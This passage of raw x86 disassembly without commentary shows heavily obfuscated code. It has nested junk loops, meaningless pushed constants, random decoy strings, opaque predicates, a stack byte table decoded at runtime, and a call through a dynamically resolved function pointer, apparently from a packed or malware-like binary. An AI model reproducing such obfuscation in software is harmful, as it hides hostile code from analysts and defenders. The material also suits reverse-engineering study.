inc eax
mov dword [ebp - 0x270], eax
cmp dword [ebp - 0x270], 0xe43
jge 0x4bbae3
and dword [ebp - 0x278], 0
jmp 0x4bba76
mov eax, dword [ebp - 0x278]
inc eax
mov dword [ebp - 0x278], eax
cmp dword [ebp - 0x278], 0x4a08
jge 0x4bbade
and dword [ebp - 0x268], 0
jmp 0x4bba98
mov eax, dword [ebp - 0x268]
inc eax
mov dword [ebp - 0x268], eax
cmp dword [ebp - 0x268], 0x562b
jge 0x4bbadc
lea eax, [ebp - 0x268]
push eax
lea eax, [ebp - 0x270]
push eax
push 1
push 1
push 0x183e
push 1
push 0
push 0x713f
push 0
lea eax, [ebp - 0x278]
push eax
push 0x3628
call fcn.004c8770
add esp, 0x2c
jmp 0x4bba8b
jmp 0x4bba69
jmp 0x4bba43
lea eax, [ebp - 0xbc8]
push eax
lea ecx, [ebp - 0xd04]
call fcn.004cb030
push eax
call fcn.0049116a
pop ecx
mov dword [ebp - 0x6b8], eax
lea ecx, [ebp - 0xd04]
call fcn.0048d9b7
cmp dword [ebp - 0x668], 0x1b17
jge 0x4bbbbc
push 0x74b7
push 1
push 0x6465
push 1
push 0x6b3d
push 0x7700
push 0x6fcf
push 0x22fe
push 0x4678
push 0x1eea
push 0x1fed
push 1
push 0x2ee
push 1
push 0x6ae1
push 0x45a
push 0x5077
push 0x7d77
push 0x539
push 0x6c
push 1
push 0x637d
push 0x79e6
lea eax, [ebp - 0x974]
push eax
push 1
push 0xb78
push 0x4734
push 0x752d
push 0x4099
push 0x7ab3
push 0x4e89
push 1
push 0x17aa
push 0x6cbd
call fcn.004a451d
add esp, 0x88
mov dword [ebp - 0xc2c], 0xfffffffc
mov dword [ebp - 0x670], 0x601
mov dword [ebp - 0x9cc], str.manwuiqcv_vhrhv_kgw_gjqaj_orxybghjb_pav_rdka
cmp dword [ebp - 0x670], 0x6d3
jle 0x4bbcbe
and dword [ebp - 0x280], 0
jmp 0x4bbc00
mov eax, dword [ebp - 0x280]
inc eax
mov dword [ebp - 0x280], eax
cmp dword [ebp - 0x280], 0x2154
jge 0x4bbcbe
and dword [ebp - 0x288], 0
jmp 0x4bbc26
mov eax, dword [ebp - 0x288]
inc eax
mov dword [ebp - 0x288], eax
cmp dword [ebp - 0x288], 0x6c40
jge 0x4bbcb9
and dword [ebp - 0x290], 0
jmp 0x4bbc4c
mov eax, dword [ebp - 0x290]
inc eax
mov dword [ebp - 0x290], eax
cmp dword [ebp - 0x290], 0x5b91
jge 0x4bbcb4
push 0xcc1
push 1
push 1
push 0x75fa
push 0x7f3a
push 0x2f22
push 0x7c8a
push 0
lea eax, [ebp - 0x280]
push eax
push 1
push 0x29bd
lea eax, [ebp - 0x288]
push eax
push 1
push 0x69
lea eax, [ebp - 0x290]
push eax
push 0x74d0
push 0x3268
push 0x7a06
push 1
push 1
call fcn.004aeb2c
add esp, 0x50
jmp 0x4bbc3f
jmp 0x4bbc19
jmp 0x4bbbf3
mov byte [ebp - 0x6e], 0
lea eax, [ebp - 0x670]
push eax
push 0x754d
push 1
push 0x2ec5
push 1
lea eax, [ebp - 0x9cc]
push eax
push 0x7c21
push 0
push 0x7631
push 1
push 1
push 0x7eb4
push 0x51c9
push 1
push 0x27f9
push 1
call fcn.004ad5a6
add esp, 0x40
mov dword [ebp - 0x678], 0x6fcc
mov dword [ebp - 0x818], str.pdesiw_qfujssre_iwxsoawfg
cmp dword [ebp - 0x678], 0x7270
jle 0x4bbd99
and dword [ebp - 0x2a0], 0
jmp 0x4bbd3f
mov eax, dword [ebp - 0x2a0]
inc eax
mov dword [ebp - 0x2a0], eax
cmp dword [ebp - 0x2a0], 0x4648
jge 0x4bbd99
and dword [ebp - 0x298], 0
jmp 0x4bbd61
mov eax, dword [ebp - 0x298]
inc eax
mov dword [ebp - 0x298], eax
cmp dword [ebp - 0x298], 0x370f
jge 0x4bbd97
push 1
lea eax, [ebp - 0x298]
push eax
push 1
push 0x7e18
push 1
lea eax, [ebp - 0x2a0]
push eax
push 1
push 0x56ea
call fcn.004a5b38
add esp, 0x20
jmp 0x4bbd54
jmp 0x4bbd32
movzx eax, byte [ebp - 0x6e]
test eax, eax
je 0x4bbdca
push 0x6883
push 1
push 1
push 1
push 0x5215
push 0x6dae
push 0x5f72
push 0x1447
push 1
call fcn.004a6267
add esp, 0x24
push 0x32e5
push 0x6dff
push 1
push 1
push 0x2c14
push 0x4f67
push 0
push 1
push 1
push 0x7eca
lea eax, [ebp - 0x678]
push eax
push 0x48c9
push 0x26aa
lea eax, [ebp - 0x818]
push eax
push 1
push 1
push 1
call fcn.004af30f
add esp, 0x44
push 0x269b
push 1
push 0
push 0x181d
push 1
push 0xe4d
push 0x6053
push 1
push 1
push 1
push 0x5097
push 1
push 0x2fc1
push 0x3c1d
push 0x5c6e
push 1
call fcn.004b2517
add esp, 0x40
and dword [ebp - 0x2a8], 0
jmp 0x4bbe69
mov eax, dword [ebp - 0x2a8]
inc eax
mov dword [ebp - 0x2a8], eax
cmp dword [ebp - 0x2a8], 0xd
jae 0x4bbe84
xor eax, eax
mov ecx, dword [ebp - 0x2a8]
mov word [ebp + ecx*2 - 0xbc8], ax
jmp 0x4bbe5c
cmp dword [ebp - 0x6b8], 0
je 0x4bca65
mov dword [ebp - 0x680], 0x247d
mov dword [ebp - 0x820], str.xvxhhlaud_ldijgcy_xrn_sgg_jwbcbck_epg_plbnlqb_ocahunyk_bihurxtc_tawqnpgj_ekvoimlon_vjyqyd
cmp dword [ebp - 0x680], 0x2736
jle 0x4bbf62
and dword [ebp - 0x2b0], 0
jmp 0x4bbecb
mov eax, dword [ebp - 0x2b0]
inc eax
mov dword [ebp - 0x2b0], eax
cmp dword [ebp - 0x2b0], 0x7f6f
jge 0x4bbf62
and dword [ebp - 0x2b8], 0
jmp 0x4bbef1
mov eax, dword [ebp - 0x2b8]
inc eax
mov dword [ebp - 0x2b8], eax
cmp dword [ebp - 0x2b8], 0x57be
jge 0x4bbf5d
mov eax, dword [ebp - 0x2b0]
add eax, dword [ebp - 0x2b8]
cdq
mov dword [ebp - 0xb50], eax
mov dword [ebp - 0xb4c], edx
push 1
push 1
push 1
push 0x39bf
push 0x5f18
push 1
push 0x221a
push 0x1232
push 1
push 0x3abe
push 0x5f9d
push 1
push 0x2021
push 1
push 0x4c20
lea eax, [ebp - 0xb50]
push eax
call fcn.004a72e7
add esp, 0x40
jmp 0x4bbee4
jmp 0x4bbebe
lea eax, [ebp - 0x820]
push eax
push 1
lea eax, [ebp - 0x680]
push eax
push 1
push 0x708
push 0x1edb
push 1
push 0x649c
push 0x28da
push 0x5584
push 1
push 1
push 0x87e
push 1
push 0x5c6f
push 0x2bcd
push 1
push 0x4aad
call fcn.004a79b4
add esp, 0x48
mov dword [ebp - 0x688], 0x2f40
mov dword [ebp - 0x828], str.wxslh_hcvp_okq_wva_hmard_aosxgrqwg_pxima_tkbtp_vhsdqp
cmp dword [ebp - 0x688], 0x3066
jle 0x4bc09b
and dword [ebp - 0x2c0], 0
jmp 0x4bbfed
mov eax, dword [ebp - 0x2c0]
inc eax
mov dword [ebp - 0x2c0], eax
cmp dword [ebp - 0x2c0], 0x3692
jge 0x4bc09b
and dword [ebp - 0x2c8], 0
jmp 0x4bc013
mov eax, dword [ebp - 0x2c8]
inc eax
mov dword [ebp - 0x2c8], eax
cmp dword [ebp - 0x2c8], 0x12a3
jge 0x4bc096
and dword [ebp - 0x2d0], 0
jmp 0x4bc035
mov eax, dword [ebp - 0x2d0]
inc eax
mov dword [ebp - 0x2d0], eax
cmp dword [ebp - 0x2d0], 0x6226
jge 0x4bc091
lea eax, [ebp - 0x2c0]
push eax
push 0x4f1f
lea eax, [ebp - 0x2c8]
push eax
push 0x4adc
push 0x4d9
push 1
push 0x3426
push 1
push 1
push 1
push 1
push 0x12fb
lea eax, [ebp - 0x2d0]
push eax
push 0x18d2
push 1
push 0
push 0x5a9b
call fcn.004ab5b7
add esp, 0x44
jmp 0x4bc028
jmp 0x4bc006
jmp 0x4bbfe0
mov byte [ebp - 0xc8], 0
mov byte [ebp - 0xc7], 0x14
mov byte [ebp - 0xc6], 4
mov byte [ebp - 0xc5], 0xcb
mov byte [ebp - 0xc4], 0xea
mov byte [ebp - 0xc3], 0x6c
mov byte [ebp - 0xc2], 0xb2
mov byte [ebp - 0xc1], 7
mov byte [ebp - 0xc0], 0x3e
mov byte [ebp - 0xbf], 0xb
mov byte [ebp - 0xbe], 0x25
mov byte [ebp - 0xbd], 3
mov byte [ebp - 0xbc], 0x33
mov byte [ebp - 0xbb], 8
mov byte [ebp - 0xba], 5
mov byte [ebp - 0xb9], 1
mov byte [ebp - 0xb8], 0xe
mov byte [ebp - 0xb7], 9
mov byte [ebp - 0xb6], 0x1d
mov byte [ebp - 0xb5], 2
mov byte [ebp - 0xb4], 0x13
mov byte [ebp - 0xb3], 6
mov byte [ebp - 0xb2], 3
mov byte [ebp - 0xb1], 0xa
mov byte [ebp - 0xb0], 0x1b
mov byte [ebp - 0xaf], 4
mov byte [ebp - 0xae], 0x35
mov byte [ebp - 0xad], 5
mov byte [ebp - 0xac], 0x25
cmp dword [ebp - 0x688], 0x2e2a
jge 0x4bc1aa
lea eax, [ebp - 0x828]
push eax
push 1
push 1
push 0x7df5
push 0
push 1
push 0x5916
push 0xd07
push 0x6d63
push 0
push 1
push 1
push 1
push 0x2c7b
call fcn.004a8b30
add esp, 0x38
mov dword [ebp - 0x690], 0x41cc
mov dword [ebp - 0x830], str.dphxcg_hbvo_aeecbrfkl_duve_xpeui_ucr_cipgt_deaq_wsmaxjjrw_hlr_vao_vdi
cmp dword [ebp - 0x690], 0x4596
jle 0x4bc2ed
and dword [ebp - 0x2d8], 0
jmp 0x4bc1e4
mov eax, dword [ebp - 0x2d8]
inc eax
mov dword [ebp - 0x2d8], eax
cmp dword [ebp - 0x2d8], 0x122d
jge 0x4bc2ed
and dword [ebp - 0x2e0], 0
jmp 0x4bc20a
mov eax, dword [ebp - 0x2e0]
inc eax
mov dword [ebp - 0x2e0], eax
cmp dword [ebp - 0x2e0], 0x3f7d
jge 0x4bc2e8
and dword [ebp - 0x2e8], 0
jmp 0x4bc230
mov eax, dword [ebp - 0x2e8]
inc eax
mov dword [ebp - 0x2e8], eax
cmp dword [ebp - 0x2e8], 0x1861
jge 0x4bc2e3
and dword [ebp - 0x2f0], 0
jmp 0x4bc256
mov eax, dword [ebp - 0x2f0]
inc eax
mov dword [ebp - 0x2f0], eax
cmp dword [ebp - 0x2f0], 0x6ed
jge 0x4bc2de
mov eax, dword [ebp - 0x2d8]
sub eax, dword [ebp - 0x2e0]
mov ecx, dword [ebp - 0x2e8]
imul ecx, dword [ebp - 0x2f0]
shl eax, cl
cdq
mov dword [ebp - 0xae8], eax
mov dword [ebp - 0xae4], edx
push 0x732
lea eax, [ebp - 0xae8]
push eax
push 1
push 0x73e8
push 1
push 0x7a1e
push 1
push 0x2dda
push 0x11d2
push 0x585f
push 1
push 0xa69
push 1
push 0x5e66
push 0x1257
push 0
push 0xe3f
push 1
call fcn.004c28d8
add esp, 0x48
jmp 0x4bc249
jmp 0x4bc223
jmp 0x4bc1fd
jmp 0x4bc1d7
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0xc8]
or eax, 0x58
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0xc8]
and ecx, 0x58
sub eax, ecx
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
movzx ecx, byte [ebp + ecx - 0xc8]
mov byte [ebp + ecx - 0x804], al
cmp dword [ebp - 0x690], 0x3e17
jge 0x4bc33e
push dword [ebp - 0x830]
call fcn.004f1488
pop ecx
mov dword [ebp - 0x6a0], 0x3299
mov dword [ebp - 0x840], str.puqiqgf_eso_ltrpddyi_ouncutqa_wypvhvymf_com_tsxiyw_ouwxok_mqkatdbo_oeakb_mlehixdh_wuprkrk_ahhnbw
cmp dword [ebp - 0x6a0], 0x3334
jle 0x4bc4c6
push 1
push 0x6eff
push 1
push 1
push 0x14c5
push 0x1cc6
push 0xe43
push 0x5f9
push 1
push 0x1d5a
push 0x692a
push 0x7b66
push 1
push 0
push 0x229c
call fcn.004abf42
add esp, 0x3c
and dword [ebp - 0x2f8], 0
jmp 0x4bc3b9
mov eax, dword [ebp - 0x2f8]
inc eax
mov dword [ebp - 0x2f8], eax
cmp dword [ebp - 0x2f8], 0x7a0d
jge 0x4bc499
and dword [ebp - 0x300], 0
jmp 0x4bc3df
mov eax, dword [ebp - 0x300]
inc eax
mov dword [ebp - 0x300], eax
cmp dword [ebp - 0x300], 0x1e4f
jge 0x4bc494
and dword [ebp - 0x308], 0
jmp 0x4bc405
mov eax, dword [ebp - 0x308]
inc eax
mov dword [ebp - 0x308], eax
cmp dword [ebp - 0x308], 0x156a
jge 0x4bc48f
and dword [ebp - 0x310], 0
jmp 0x4bc427
mov eax, dword [ebp - 0x310]
inc eax
mov dword [ebp - 0x310], eax
cmp dword [ebp - 0x310], 0x6cea
jge 0x4bc48a
mov eax, dword [ebp - 0x2f8]
sub eax, dword [ebp - 0x300]
add eax, dword [ebp - 0x308]
and eax, dword [ebp - 0x310]
cdq
mov dword [ebp - 0xb10], eax
mov dword [ebp - 0xb0c], edx
push 0x40a2
push 0
push 1
push 0x56a6
push 1
push 0x6d2
lea eax, [ebp - 0xb10]
push eax
push 1
push 0x7e11
push 0x4d91
call fcn.004abb52
add esp, 0x28
jmp 0x4bc41a
jmp 0x4bc3f8
jmp 0x4bc3d2
jmp 0x4bc3ac
push 0x2595
push 0x788f
push 0x4229
push 1
push 1
push 1
push 0x6a66
push 1
push 0x4bca
push 1
push 1
call fcn.004a9a3c
add esp, 0x2c
mov dword [ebp - 8], 2
and dword [ebp - 0x94], 0
jmp 0x4bc4de
mov eax, dword [ebp - 8]
inc eax
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x1d
jae 0x4bc723
mov dword [ebp - 0x698], 0x2682
mov dword [ebp - 0x838], str.cca_jeascfy_jrvjita_wsc_cofhmcrf_yfwuom_ycg
cmp dword [ebp - 0x698], 0x2691
jle 0x4bc607
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreatePen]
and dword [ebp - 0x318], 0
jmp 0x4bc52e
mov eax, dword [ebp - 0x318]
inc eax
mov dword [ebp - 0x318], eax
cmp dword [ebp - 0x318], 0x20da
jge 0x4bc607
and dword [ebp - 0x320], 0
jmp 0x4bc554
mov eax, dword [ebp - 0x320]
inc eax
mov dword [ebp - 0x320], eax
cmp dword [ebp - 0x320], 0x1fb6
jge 0x4bc602
and dword [ebp - 0x328], 0
jmp 0x4bc57a
mov eax, dword [ebp - 0x328]
inc eax
mov dword [ebp - 0x328], eax
cmp dword [ebp - 0x328], 0x2bc6
jge 0x4bc5fd
and dword [ebp - 0x330], 0
jmp 0x4bc59c
mov eax, dword [ebp - 0x330]
inc eax
mov dword [ebp - 0x330], eax
cmp dword [ebp - 0x330], 0x661c
jge 0x4bc5f8
mov ecx, dword [ebp - 0x318]
add ecx, dword [ebp - 0x320]
mov eax, dword [ebp - 0x328]
cdq
idiv dword [ebp - 0x330]
add ecx, edx
mov eax, ecx
cdq
mov dword [ebp - 0xa50], eax
mov dword [ebp - 0xa4c], edx
push 0x751e
push 0x3ad6
lea eax, [ebp - 0xa50]
push eax
push 0
push 0x1e3d
push 1
push 1
call fcn.004c1b00
add esp, 0x1c
jmp 0x4bc58f
jmp 0x4bc56d
jmp 0x4bc547
jmp 0x4bc521
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0xc8]
lea eax, [eax + eax + 2]
cmp dword [ebp - 8], eax
jne 0x4bc64a
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0xc8]
inc eax
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0xc8]
mov ecx, dword [ebp - 8]
lea eax, [ecx + eax - 1]
mov dword [ebp - 8], eax
jmp 0x4bc4d6
cmp dword [ebp - 0x698], 0x25a1
jge 0x4bc662
push dword [ebp - 0x838]
call fcn.004f1488
pop ecx
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0xc7]
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 0x94]
movzx ecx, byte [ebp + ecx - 0xca]
movsx ecx, byte [ebp + ecx - 0x804]
add eax, ecx
mov ecx, dword [ebp - 8]
movzx ecx, byte [ebp + ecx - 0xc7]
mov edx, dword [ebp - 8]
sub edx, dword [ebp - 0x94]
movzx edx, byte [ebp + edx - 0xca]
movsx edx, byte [ebp + edx - 0x804]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 8]
movzx ecx, byte [ebp + ecx - 0xc7]
mov edx, dword [ebp - 8]
sub edx, dword [ebp - 0x94]
movzx edx, byte [ebp + edx - 0xca]
movsx edx, byte [ebp + edx - 0x804]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 8]
movzx ecx, byte [ebp + ecx - 0xc8]
mov byte [ebp + ecx - 0x804], al
push 1
push 0x4360
push 0x6a9a
push 0x42f
push 1
push 1
push 0x61cb
push 1
push 1
lea eax, [ebp - 0x94]
push eax
push 1
push 0x2192
call fcn.004aa1ce
add esp, 0x30
jmp 0x4bc4d6
lea eax, [ebp - 0x6a0]
push eax
push 0x1bb9
push 0
push 0x2282
lea eax, [ebp - 0x840]
push eax
call fcn.004c272d
add esp, 0x14
xor eax, eax
inc eax
imul eax, eax, 0xc
mov byte [ebp + eax - 0x804], 0
mov dword [ebp - 0x6a8], 0x6a7d
mov dword [ebp - 0x848], str.cajwxl_oexqeoun_jdeuocyu_xvjo_ylu_seitmnfwm_ujw_wtdx_ijogfemb_nwwgafu
cmp dword [ebp - 0x6a8], 0x6d1f
jle 0x4bc87c
and dword [ebp - 0x348], 0
jmp 0x4bc78d
mov eax, dword [ebp - 0x348]
inc eax
mov dword [ebp - 0x348], eax
cmp dword [ebp - 0x348], 0x78d6
jge 0x4bc86c
and dword [ebp - 0x338], 0
jmp 0x4bc7b3
mov eax, dword [ebp - 0x338]
inc eax
mov dword [ebp - 0x338], eax
cmp dword [ebp - 0x338], 0x313a
jge 0x4bc867
and dword [ebp - 0x340], 0
jmp 0x4bc7d9
mov eax, dword [ebp - 0x340]
inc eax
mov dword [ebp - 0x340], eax
cmp dword [ebp - 0x340], 0x5bb8
jge 0x4bc862
push 0x3546
lea eax, [ebp - 0x338]
push eax
push 1
push 1
lea eax, [ebp - 0x340]
push eax
push 0x7321
push 1
push 0x7216
push 1
push 0x3765
push 0x4211
push 0x6299
push 0x722a
push 0
push 0x1085
push 0x1e6
push 1
push 0x1aba
push 1
push 0x3603
push 1
push 0x57d4
push 0x712b
push 0x7cd5
push 0x4e0e
lea eax, [ebp - 0x348]
push eax
call fcn.004c3e9f
add esp, 0x68
jmp 0x4bc7cc
jmp 0x4bc7a6
jmp 0x4bc780
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_DialogBoxParamA]
lea eax, [ebp - 0x804]
push eax
lea ecx, [ebp - 0xce0]
call fcn.004cb060
cmp dword [ebp - 0x6a8], 0x6719
jge 0x4bc8a6
push dword [ebp - 0x848]
call fcn.004f1488
pop ecx
and dword [ebp - 0x368], 0
jmp 0x4bc8bc
mov eax, dword [ebp - 0x368]
inc eax
mov dword [ebp - 0x368], eax
cmp dword [ebp - 0x368], 0xd
jae 0x4bca3c
mov dword [ebp - 0x6b0], 0x3eae
mov dword [ebp - 0x850], str.qtdu_ctxjaydm_hyvarj_jdgw_kbln_yrstoxl_rxxkl_iye_jmqq_tgki_aechplq
cmp dword [ebp - 0x6b0], 0x4066
jle 0x4bc9d5
and dword [ebp - 0x360], 0
jmp 0x4bc903
mov eax, dword [ebp - 0x360]
inc eax
mov dword [ebp - 0x360], eax
cmp dword [ebp - 0x360], 0x927
jge 0x4bc9d5
and dword [ebp - 0x350], 0
jmp 0x4bc929
mov eax, dword [ebp - 0x350]
inc eax
mov dword [ebp - 0x350], eax
cmp dword [ebp - 0x350], 0x1ae6
jge 0x4bc9d0
and dword [ebp - 0x358], 0
jmp 0x4bc94f
mov eax, dword [ebp - 0x358]
inc eax
mov dword [ebp - 0x358], eax
cmp dword [ebp - 0x358], 0x7887
jge 0x4bc9cb
mov eax, dword [ebp - 0x350]
cdq
idiv dword [ebp - 0x358]
mov eax, dword [ebp - 0x360]
sub eax, edx
cdq
mov dword [ebp - 0xa60], eax
mov dword [ebp - 0xa5c], edx
push 0x581e
push 0x6ad
push 1
push 1
push 0x17fe
push 1
push 0
push 0x7ae
push 1
push 0x1c2e
push 0x5ff
push 1
push 1
push 0x5433
lea eax, [ebp - 0xa60]
push eax
push 1
push 1
push 0x1223
call fcn.004b20ef
add esp, 0x48
jmp 0x4bc942
jmp 0x4bc91c
jmp 0x4bc8f6
mov eax, dword [ebp - 0x368]
mov byte [ebp + eax - 0x804], 0
cmp dword [ebp - 0x6b0], 0x3cc7
jge 0x4bca37
push 0x54bf
push 0x7dea
push 0x52b2
push 0x148e
push 0x482a
push 0
push 0x23e5
push 1
push 1
lea eax, [ebp - 0x850]
push eax
push 1
push 0x595f
push 1
push 1
push 0x7b5a
push 0x4a39
call fcn.004afdbe
add esp, 0x40
jmp 0x4bc8af
push 0
push 0
lea eax, [ebp - 0xce0]
push eax
push dword [ebp - 0x6b8]
call fcn.004bf092
add esp, 0x10
mov dword [0x2df3210], eax
lea ecx, [ebp - 0xce0]
call fcn.0048dace
mov dword [ebp - 0x6c0], 0x9bd
mov dword [ebp - 0x858], str.dppndtr_notefgd_xkm_hdgsiqd_ofvenw_pgl_yuih_vikitog_lnwupwp_hbwl_gxfylcal_xaso_yqoy
cmp dword [ebp - 0x6c0], 0xc48
jle 0x4bcb28
push 0
push 0
call dword [sym.imp.GDI32.dll_SetStretchBltMode]
and dword [ebp - 0x378], 0
jmp 0x4bcaa9
mov eax, dword [ebp - 0x378]
inc eax
mov dword [ebp - 0x378], eax
cmp dword [ebp - 0x378], 0x631b
jge 0x4bcb28
and dword [ebp - 0x370], 0
jmp 0x4bcacb
mov eax, dword [ebp - 0x370]
inc eax
mov dword [ebp - 0x370], eax
cmp dword [ebp - 0x370], 0x100d
jge 0x4bcb23
push 0x33d8
push 0x4cdd
push 1
push 1
push 1
push 0x7b2d
push 0x7dd0
push 0x3388
push 1
push 0x33c2
push 0
push 0x1711
lea eax, [ebp - 0x370]
push eax
push 0x7ced
lea eax, [ebp - 0x378]
push eax
push 1
call fcn.004b1dd1
add esp, 0x40
jmp 0x4bcabe
jmp 0x4bca9c
mov dword [ebp - 0x30], 9
cmp dword [ebp - 0x6c0], 0x6ff
jge 0x4bcb7e
push 1
lea eax, [ebp - 0x858]
push eax
push 1
push 1
push 0x7240
push 0x6f10
push 0x74d
push 0xff4
push 1
push 0x1509
push 0x394f
push 0x2474
push 1
push 1
push 0x18dc
call fcn.004abf42
add esp, 0x3c
mov dword [ebp - 0x458], 0x59c45c1d
mov dword [ebp - 0x6c8], 0x47bd
mov dword [ebp - 0x860], str.bdjii_kkayd_ijmu_fkgyjyc_wwlbmpomu_dkuc_xxijoy_xwjil_ltsxle_biwiu_jxtymnl_jfi_ucfkuvcek
cmp dword [ebp - 0x6c8], 0x492f
jle 0x4bcc2f
and dword [ebp - 0x380], 0
jmp 0x4bcbc2
mov eax, dword [ebp - 0x380]
inc eax
mov dword [ebp - 0x380], eax
cmp dword [ebp - 0x380], 0x7616
jge 0x4bcc2f
and dword [ebp - 0x388], 0
jmp 0x4bcbe4
mov eax, dword [ebp - 0x388]
inc eax
mov dword [ebp - 0x388], eax
cmp dword [ebp - 0x388], 0x634c
jge 0x4bcc2d
push 1
push 0x6fd7
push 0x54c1
push 1
push 1
push 0
push 0xc1a
push 1
lea eax, [ebp - 0x380]
push eax
push 1
lea eax, [ebp - 0x388]
push eax
push 0x289a
push 0x1884
call fcn.004b0225
add esp, 0x34
jmp 0x4bcbd7
jmp 0x4bcbb5
mov dword [ebp - 0x6d8], 0x8b166c19
push 1
lea eax, [ebp - 0x860]
push eax
push 0x3a47
push 1
push 1
push 0x78b6
push 1
lea eax, [ebp - 0x6c8]
push eax
push 1
push 0x51cd
push 1
call fcn.004ac973
add esp, 0x2c
mov dword [ebp - 0x870], 0xfffffffa
mov dword [ebp - 0x878], 5
cmp dword [ebp - 0x30], 0
jne 0x4bcd56
cmp dword [ebp - 0x30], 0
jne 0x4bcd56
cmp dword [ebp - 0x30], 0xc370
jne 0x4bcca7
mov dword [ebp - 0x6e0], 1
jmp 0x4bccae
and dword [ebp - 0x6e0], 0
cmp dword [ebp - 0x30], 0xffffffff
je 0x4bccc0
mov dword [ebp - 0x6d0], 1
jmp 0x4bccc7
and dword [ebp - 0x6d0], 0
mov eax, dword [ebp - 0x6d0]
mov dword [ebp - 0x458], eax
cmp dword [ebp - 0x458], 0x278213af
jl 0x4bcceb
mov dword [ebp - 0x868], 1
jmp 0x4bccf2
and dword [ebp - 0x868], 0
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0xc88], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0xc34], eax
mov eax, dword [ebp - 0x458]
imul eax, dword [ebp - 0x30]
add eax, 0xc2b86bf
sub eax, dword [ebp - 0x30]
mov dword [ebp - 0x6d8], eax
cmp dword [ebp - 0x6d8], 0xfffd
jbe 0x4bcd34
mov dword [ebp - 0x6e8], 1
jmp 0x4bcd3b
and dword [ebp - 0x6e8], 0
mov eax, dword [ebp - 0x6e0]
imul eax, dword [ebp - 0x6e8]
cmp eax, dword [ebp - 0x30]
jne 0x4bcd56
and dword [ebp - 0x6f0], 0
jmp 0x4bcd60
mov dword [ebp - 0x6f0], 1
mov eax, dword [ebp - 0x870]
cmp dword [ebp - 0x6f0], eax
jl 0x4bcd7a
mov dword [ebp - 0x6f8], 1
jmp 0x4bcd81
and dword [ebp - 0x6f8], 0
mov eax, dword [ebp - 0x6f8]
mov dword [ebp - 0x878], eax
mov dword [ebp - 0x700], 0x6255
mov dword [ebp - 0x880], str.oapmxvaq_hdvqtse_imy_swew_gss_votl_psmy_vfd_cbw_lwuxmwvxc_djjpm_wfhja
cmp dword [ebp - 0x700], 0x6357
jle 0x4bce40
and dword [ebp - 0x390], 0
jmp 0x4bcdc7
mov eax, dword [ebp - 0x390]
inc eax
mov dword [ebp - 0x390], eax
cmp dword [ebp - 0x390], 0x2767
jge 0x4bce40
and dword [ebp - 0x398], 0
jmp 0x4bcde9
mov eax, dword [ebp - 0x398]
inc eax
mov dword [ebp - 0x398], eax
cmp dword [ebp - 0x398], 0x3b3a
jge 0x4bce3b
mov eax, dword [ebp - 0x390]
or eax, dword [ebp - 0x398]
cdq
mov dword [ebp - 0xa70], eax
mov dword [ebp - 0xa6c], edx
push 1
push 0x4774
push 1
push 0x11cb
push 1
push 0x3bee
push 0x2ade
push 1
lea eax, [ebp - 0xa70]
push eax
call fcn.004ad0ec
add esp, 0x24
jmp 0x4bcddc
jmp 0x4bcdba
push 0x104a
push 0x64b5
push 1
push 0x78f9
push 1
push 0x6444
push 0x6374
push 1
push 0x5b45
push 1
push 1
push 0x3d14
push 0x1648
push 1
push 0x1884
push 1
call fcn.004ad5a6
add esp, 0x40
cmp dword [ebp - 0x700], 0x5f5b
jge 0x4bce9b
push dword [ebp - 0x880]
call fcn.004f1488
pop ecx
cmp dword [0x2df3210], 0
je 0x4bceb9
mov ecx, dword [ebp + 8]
call fcn.004cb055
push eax
call dword [0x2df3210]
mov dword [ebp - 0x9c], eax
push 2
lea ecx, [ebp - 0xc60]
call fcn.004179d7
mov dword [ebp - 0x888], 0x8d4081c2
push 0x205a
lea eax, [ebp - 0xc60]
push eax
push 1
push 1
push 0x1353
push 1
push 0
push 0x4584
push 0x3499
push 1
push 0x58b6
push 1
push 1
lea eax, [ebp - 0xc78]
push eax
push 1
push 0x1c14
push 0x684b
push 0x16e9
push 0x1497
push 1
push 0x2f71
push 0x10dd
push 0x5c39
call fcn.004b29ed
add esp, 0x5c
push 0x2d52
push 0x5b8a
push 0x786b
lea eax, [ebp - 0x888]
push eax
push 1
push 1
push 1
push 1
push 0xcb2
push 1
call fcn.004ae16f
add esp, 0x28
lea ecx, [ebp - 0xc60]
call fcn.00417aef
lea eax, [ebp - 0x9c]
push eax
push 1
push 1
push 0x172b
push 0x306d
push 0x2df3215
push 0x7faf
push 1
push 0x5037
push 1
push 0x602e
push 0x186d
push 1
push 0x7225
push 0x655e
push 0x2df334c
push 0x187f
lea eax, [ebp - 0x708]
push eax
push 1
push 1
call fcn.004aeb2c
add esp, 0x50
push 3
lea ecx, [ebp - 0x48c]
call fcn.004179d7
push 2
lea ecx, [ebp - 0xa40]
call fcn.004179d7
mov dword [ebp - 0x68], 0xfffffffa
mov dword [ebp - 0x710], 0x5764
mov dword [ebp - 0x890], str.hjyaja_spljtuix_iqku_fdxyb_bveomiia
cmp dword [ebp - 0x710], 0x59ce
jle 0x4bd092
push 0
push 0
call dword [sym.imp.GDI32.dll_GetWindowOrgEx]
and dword [ebp - 0x3a0], 0
jmp 0x4bd02c
mov eax, dword [ebp - 0x3a0]
inc eax
mov dword [ebp - 0x3a0], eax
cmp dword [ebp - 0x3a0], 0x50f0
jge 0x4bd092
push 0xd2f
push 1
push 0x408c
push 1
push 1
push 0x40ef
push 0x2e2
push 0x3146
push 1
push 1
push 0x71f4
push 0x1b3b
push 0
push 0x441c
push 0x58f6
push 0x6b57
lea eax, [ebp - 0x3a0]
push eax
push 1
push 1
push 1
push 0x1d07
call fcn.004b37d1
add esp, 0x54
jmp 0x4bd01f
mov dword [ebp - 0x760], 0xffffffff
lea eax, [ebp - 0x710]
